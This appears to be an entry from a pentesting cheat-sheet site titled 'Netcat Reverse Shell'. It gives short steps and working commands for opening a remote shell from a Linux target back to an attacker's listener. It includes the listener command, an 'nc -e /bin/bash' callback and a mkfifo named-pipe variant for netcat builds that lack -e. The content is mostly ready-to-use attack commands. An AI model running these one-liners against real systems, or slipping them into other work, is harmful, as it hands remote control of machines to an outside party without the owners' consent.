← Back to search

Netcat Reverse Shell

exploitationlinuxtool

Summary

Call back to a Netcat listener with /bin/bash; use the mkfifo variant when the installed nc lacks the -e option.

Walkthrough

Get a reverse shell back to your listener using Netcat.

Steps

  1. If the target's nc supports -e, connect back and pipe /bin/bash directly.
  2. When -e is unavailable (common on hardened builds), use the mkfifo named-pipe trick to wire stdin/stdout through bash.
  3. Start nc -nlvp 4444 on Kali first to catch the connection.

Commands

bash

nc <IP> 4444 -e /bin/bash

bash

mkfifo /tmp/f; nc <IP> 4444 < /tmp/f | /bin/bash > /tmp/f 2>&1; rm /tmp/f